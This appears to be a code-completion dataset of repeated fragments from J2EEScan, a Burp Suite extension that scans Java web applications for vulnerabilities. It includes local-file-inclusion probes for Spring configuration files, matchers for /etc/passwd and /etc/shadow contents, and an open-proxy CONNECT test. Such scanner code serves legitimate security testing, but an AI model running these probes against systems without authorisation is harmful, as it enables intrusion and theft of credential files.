// public static boolean isSpringContextConfigFile(byte[] response, IExtensionHelpers helpers) {
// final byte[] SPRING_PATTERN = "<beans".getBytes();
// List<int[]> matchesStruts = getMatches(response, SPRING_PATTERN, helpers);
//
// return (matchesStruts.size() > 0);
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
// Path: src/main/java/burp/J2EELFIRetriever.java
import static burp.HTTPMatcher.isApacheStrutsConfigFile;
import static burp.HTTPMatcher.isEtcPasswdFile;
import static burp.HTTPMatcher.isEtcShadowFile;
import static burp.HTTPMatcher.isIBMWSBinding;
import static burp.HTTPMatcher.isSpringContextConfigFile;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import java.io.PrintWriter;
import java.util.Arrays;
import java.util.List;
Confidence.Certain
));
}
}
} catch (Exception ex) {
ex.printStackTrace(stderr);
}
// Try to retrieve the Spring application context configuration file
try {
// Possibile paths:
// /WEB-INF/application-context.xml
// /WEB-INF/applicationContext.xml
final List<String> APPLICATION_CONTEXTS_PATHS = Arrays.asList(
"applicationContext.xml",
helpers.urlEncode("classes/applicationContext.xml"),
"application-context.xml"
);
for (String APPLICATION_CONTEXT_PATH : APPLICATION_CONTEXTS_PATHS) {
String strutLFIRequest = requestToString.replace(baseConfigFile, APPLICATION_CONTEXT_PATH);
IHttpRequestResponse springRequestResponse = cb.makeHttpRequest(
baseRequestResponse.getHttpService(), helpers.stringToBytes(strutLFIRequest));
byte[] springResponse = springRequestResponse.getResponse();
| if (isSpringContextConfigFile(springResponse, helpers)) { |
ilmila/J2EEScan | src/main/java/burp/SoftwareVersions.java | // Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
| import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import java.util.Arrays;
import java.util.List; | package burp;
/**
* Knowledge Base to push vulnerabilities based on the remote version detected
*
*
*/
public class SoftwareVersions {
public static void getIssues(
String software,
String release,
IBurpExtenderCallbacks callbacks,
IHttpRequestResponse baseRequestResponse) {
IExtensionHelpers helpers = callbacks.getHelpers();
IRequestInfo requestInfo = helpers.analyzeRequest(baseRequestResponse);
/**
* Apache Tomcat
*/
if (software.equalsIgnoreCase("Apache Tomcat")) {
/**
* End of Life - Apache Tomcat
* Apache Tomcat 5.x
* - http://tomcat.apache.org/tomcat-55-eol.html
* Apache Tomcat 6.x
* - http://tomcat.apache.org/tomcat-60-eol.html
* Apache Tomcat 7.x
* - http://tomcat.apache.org/tomcat-70-eol.html
* Apache Tomcat 8.0
* - http://tomcat.apache.org/tomcat-80-eol.html
* .
*/
List<Integer> vulnerableTomcatReleases;
vulnerableTomcatReleases = Arrays.asList(4, 5, 6, 8);
// TODO replace with regexp
if ( vulnerableTomcatReleases.contains(Integer.parseInt(release.substring(0, 1))) && !release.startsWith("8.5") ) {
| // Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
// Path: src/main/java/burp/SoftwareVersions.java
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import java.util.Arrays;
import java.util.List;
package burp;
/**
* Knowledge Base to push vulnerabilities based on the remote version detected
*
*
*/
public class SoftwareVersions {
public static void getIssues(
String software,
String release,
IBurpExtenderCallbacks callbacks,
IHttpRequestResponse baseRequestResponse) {
IExtensionHelpers helpers = callbacks.getHelpers();
IRequestInfo requestInfo = helpers.analyzeRequest(baseRequestResponse);
/**
* Apache Tomcat
*/
if (software.equalsIgnoreCase("Apache Tomcat")) {
/**
* End of Life - Apache Tomcat
* Apache Tomcat 5.x
* - http://tomcat.apache.org/tomcat-55-eol.html
* Apache Tomcat 6.x
* - http://tomcat.apache.org/tomcat-60-eol.html
* Apache Tomcat 7.x
* - http://tomcat.apache.org/tomcat-70-eol.html
* Apache Tomcat 8.0
* - http://tomcat.apache.org/tomcat-80-eol.html
* .
*/
List<Integer> vulnerableTomcatReleases;
vulnerableTomcatReleases = Arrays.asList(4, 5, 6, 8);
// TODO replace with regexp
if ( vulnerableTomcatReleases.contains(Integer.parseInt(release.substring(0, 1))) && !release.startsWith("8.5") ) {
| callbacks.addScanIssue(new CustomScanIssue( |
ilmila/J2EEScan | src/main/java/burp/j2ee/passive/JSPostMessage.java | // Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
| import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import java.util.ArrayList;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern; | package burp.j2ee.passive;
/**
* Mozilla developer
* https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage
*
* The window.postMessage() method safely enables cross-origin communication
* between Window objects;
*
* e.g., between a page and a pop-up that it spawned, or between a page and an
* iframe embedded within it. Normally, scripts on different pages are allowed
* to access each other if and only if the pages they originate from share the
* same protocol, port number, and host (also known as the "same-origin
* policy"). window.postMessage() provides a controlled mechanism to securely
* circumvent this restriction (if used properly).
*
* Broadly, one window may obtain a reference to another (e.g., via targetWindow
* = window.opener), and then dispatch a MessageEvent on it with
* targetWindow.postMessage().
*
* The receiving window is then free to handle this event as needed.
*
* The arguments passed to window.postMessage() (i.e., the “message”) are
* exposed to the receiving window through the event object.
*
*
*/
public class JSPostMessage implements PassiveRule {
private static final List<Pattern> POSTMESSAGE_PATTERNS = new ArrayList<>();
static {
POSTMESSAGE_PATTERNS.add(Pattern.compile(".addEventListener\\(\"message", Pattern.CASE_INSENSITIVE | Pattern.DOTALL | Pattern.MULTILINE));
POSTMESSAGE_PATTERNS.add(Pattern.compile("window\\).on\\(\"message", Pattern.CASE_INSENSITIVE | Pattern.MULTILINE));
POSTMESSAGE_PATTERNS.add(Pattern.compile(".postMessage\\(", Pattern.CASE_INSENSITIVE | Pattern.MULTILINE));
}
@Override
public void scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse,
String reqBody, String respBody, IRequestInfo reqInfo, IResponseInfo respInfo,
String httpServerHeader, String contentTypeResponse, String xPoweredByHeader) {
IExtensionHelpers helpers = callbacks.getHelpers();
if (respBody != null && contentTypeResponse != null) {
for (Pattern detectionRule : POSTMESSAGE_PATTERNS) {
Matcher matcher = detectionRule.matcher(respBody);
if (matcher.find()) {
| // Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
// Path: src/main/java/burp/j2ee/passive/JSPostMessage.java
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import java.util.ArrayList;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
package burp.j2ee.passive;
/**
* Mozilla developer
* https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage
*
* The window.postMessage() method safely enables cross-origin communication
* between Window objects;
*
* e.g., between a page and a pop-up that it spawned, or between a page and an
* iframe embedded within it. Normally, scripts on different pages are allowed
* to access each other if and only if the pages they originate from share the
* same protocol, port number, and host (also known as the "same-origin
* policy"). window.postMessage() provides a controlled mechanism to securely
* circumvent this restriction (if used properly).
*
* Broadly, one window may obtain a reference to another (e.g., via targetWindow
* = window.opener), and then dispatch a MessageEvent on it with
* targetWindow.postMessage().
*
* The receiving window is then free to handle this event as needed.
*
* The arguments passed to window.postMessage() (i.e., the “message”) are
* exposed to the receiving window through the event object.
*
*
*/
public class JSPostMessage implements PassiveRule {
private static final List<Pattern> POSTMESSAGE_PATTERNS = new ArrayList<>();
static {
POSTMESSAGE_PATTERNS.add(Pattern.compile(".addEventListener\\(\"message", Pattern.CASE_INSENSITIVE | Pattern.DOTALL | Pattern.MULTILINE));
POSTMESSAGE_PATTERNS.add(Pattern.compile("window\\).on\\(\"message", Pattern.CASE_INSENSITIVE | Pattern.MULTILINE));
POSTMESSAGE_PATTERNS.add(Pattern.compile(".postMessage\\(", Pattern.CASE_INSENSITIVE | Pattern.MULTILINE));
}
@Override
public void scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse,
String reqBody, String respBody, IRequestInfo reqInfo, IResponseInfo respInfo,
String httpServerHeader, String contentTypeResponse, String xPoweredByHeader) {
IExtensionHelpers helpers = callbacks.getHelpers();
if (respBody != null && contentTypeResponse != null) {
for (Pattern detectionRule : POSTMESSAGE_PATTERNS) {
Matcher matcher = detectionRule.matcher(respBody);
if (matcher.find()) {
| callbacks.addScanIssue(new CustomScanIssue( |
ilmila/J2EEScan | src/main/java/burp/j2ee/issues/impl/HTTPProxy.java | // Path: src/main/java/burp/HTTPMatcher.java
// public static List<int[]> getMatches(byte[] response, byte[] match, IExtensionHelpers helpers) {
// List<int[]> matches = new ArrayList<int[]>();
//
// int start = 0;
// while (start < response.length) {
// start = helpers.indexOf(response, match, true, start, response.length);
// if (start == -1) {
// break;
// }
// matches.add(new int[]{start, start + match.length});
// start += match.length;
// }
//
// return matches;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
| import static burp.HTTPMatcher.getMatches;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.annotation.RunOnlyOnce;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.URL;
import java.util.ArrayList;
import java.util.LinkedHashSet;
import java.util.List; |
stderr = new PrintWriter(callbacks.getStderr(), true);
List<IScanIssue> issues = new ArrayList<>();
IExtensionHelpers helpers = callbacks.getHelpers();
IRequestInfo reqInfo = helpers.analyzeRequest(baseRequestResponse);
URL url = reqInfo.getUrl();
String host = url.getHost();
int port = url.getPort();
String system = host.concat(Integer.toString(port));
// System not yet tested for this vulnerability
if (!hs.contains(system)) {
hs.add(system);
// TODO implement GET @www.google.com/humans.txt? HTTP/1.0\r\n\r\n
byte[] rawrequestHTTPConnect = "CONNECT http://www.google.com/humans.txt HTTP/1.0\r\n\r\n".getBytes();
// Execute a CONNECT method
IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest(
baseRequestResponse.getHttpService(), rawrequestHTTPConnect);
// Get the response body
byte[] responseBytesHTTPConnect = checkRequestResponse.getResponse();
if (responseBytesHTTPConnect != null) { | // Path: src/main/java/burp/HTTPMatcher.java
// public static List<int[]> getMatches(byte[] response, byte[] match, IExtensionHelpers helpers) {
// List<int[]> matches = new ArrayList<int[]>();
//
// int start = 0;
// while (start < response.length) {
// start = helpers.indexOf(response, match, true, start, response.length);
// if (start == -1) {
// break;
// }
// matches.add(new int[]{start, start + match.length});
// start += match.length;
// }
//
// return matches;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
// Path: src/main/java/burp/j2ee/issues/impl/HTTPProxy.java
import static burp.HTTPMatcher.getMatches;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.annotation.RunOnlyOnce;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.URL;
import java.util.ArrayList;
import java.util.LinkedHashSet;
import java.util.List;
stderr = new PrintWriter(callbacks.getStderr(), true);
List<IScanIssue> issues = new ArrayList<>();
IExtensionHelpers helpers = callbacks.getHelpers();
IRequestInfo reqInfo = helpers.analyzeRequest(baseRequestResponse);
URL url = reqInfo.getUrl();
String host = url.getHost();
int port = url.getPort();
String system = host.concat(Integer.toString(port));
// System not yet tested for this vulnerability
if (!hs.contains(system)) {
hs.add(system);
// TODO implement GET @www.google.com/humans.txt? HTTP/1.0\r\n\r\n
byte[] rawrequestHTTPConnect = "CONNECT http://www.google.com/humans.txt HTTP/1.0\r\n\r\n".getBytes();
// Execute a CONNECT method
IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest(
baseRequestResponse.getHttpService(), rawrequestHTTPConnect);
// Get the response body
byte[] responseBytesHTTPConnect = checkRequestResponse.getResponse();
if (responseBytesHTTPConnect != null) { | List<int[]> matchesHTTPConnect = getMatches(responseBytesHTTPConnect, GREP_STRING, helpers); |
ilmila/J2EEScan | src/main/java/burp/j2ee/issues/impl/HTTPProxy.java | // Path: src/main/java/burp/HTTPMatcher.java
// public static List<int[]> getMatches(byte[] response, byte[] match, IExtensionHelpers helpers) {
// List<int[]> matches = new ArrayList<int[]>();
//
// int start = 0;
// while (start < response.length) {
// start = helpers.indexOf(response, match, true, start, response.length);
// if (start == -1) {
// break;
// }
// matches.add(new int[]{start, start + match.length});
// start += match.length;
// }
//
// return matches;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
| import static burp.HTTPMatcher.getMatches;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.annotation.RunOnlyOnce;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.URL;
import java.util.ArrayList;
import java.util.LinkedHashSet;
import java.util.List; | List<IScanIssue> issues = new ArrayList<>();
IExtensionHelpers helpers = callbacks.getHelpers();
IRequestInfo reqInfo = helpers.analyzeRequest(baseRequestResponse);
URL url = reqInfo.getUrl();
String host = url.getHost();
int port = url.getPort();
String system = host.concat(Integer.toString(port));
// System not yet tested for this vulnerability
if (!hs.contains(system)) {
hs.add(system);
// TODO implement GET @www.google.com/humans.txt? HTTP/1.0\r\n\r\n
byte[] rawrequestHTTPConnect = "CONNECT http://www.google.com/humans.txt HTTP/1.0\r\n\r\n".getBytes();
// Execute a CONNECT method
IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest(
baseRequestResponse.getHttpService(), rawrequestHTTPConnect);
// Get the response body
byte[] responseBytesHTTPConnect = checkRequestResponse.getResponse();
if (responseBytesHTTPConnect != null) {
List<int[]> matchesHTTPConnect = getMatches(responseBytesHTTPConnect, GREP_STRING, helpers);
if (matchesHTTPConnect.size() > 0) {
| // Path: src/main/java/burp/HTTPMatcher.java
// public static List<int[]> getMatches(byte[] response, byte[] match, IExtensionHelpers helpers) {
// List<int[]> matches = new ArrayList<int[]>();
//
// int start = 0;
// while (start < response.length) {
// start = helpers.indexOf(response, match, true, start, response.length);
// if (start == -1) {
// break;
// }
// matches.add(new int[]{start, start + match.length});
// start += match.length;
// }
//
// return matches;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
// Path: src/main/java/burp/j2ee/issues/impl/HTTPProxy.java
import static burp.HTTPMatcher.getMatches;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.annotation.RunOnlyOnce;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.URL;
import java.util.ArrayList;
import java.util.LinkedHashSet;
import java.util.List;
List<IScanIssue> issues = new ArrayList<>();
IExtensionHelpers helpers = callbacks.getHelpers();
IRequestInfo reqInfo = helpers.analyzeRequest(baseRequestResponse);
URL url = reqInfo.getUrl();
String host = url.getHost();
int port = url.getPort();
String system = host.concat(Integer.toString(port));
// System not yet tested for this vulnerability
if (!hs.contains(system)) {
hs.add(system);
// TODO implement GET @www.google.com/humans.txt? HTTP/1.0\r\n\r\n
byte[] rawrequestHTTPConnect = "CONNECT http://www.google.com/humans.txt HTTP/1.0\r\n\r\n".getBytes();
// Execute a CONNECT method
IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest(
baseRequestResponse.getHttpService(), rawrequestHTTPConnect);
// Get the response body
byte[] responseBytesHTTPConnect = checkRequestResponse.getResponse();
if (responseBytesHTTPConnect != null) {
List<int[]> matchesHTTPConnect = getMatches(responseBytesHTTPConnect, GREP_STRING, helpers);
if (matchesHTTPConnect.size() > 0) {
| issues.add(new CustomScanIssue( |
ilmila/J2EEScan | src/main/java/burp/j2ee/issues/impl/SpringCloudConfigPathTraversal.java | // Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
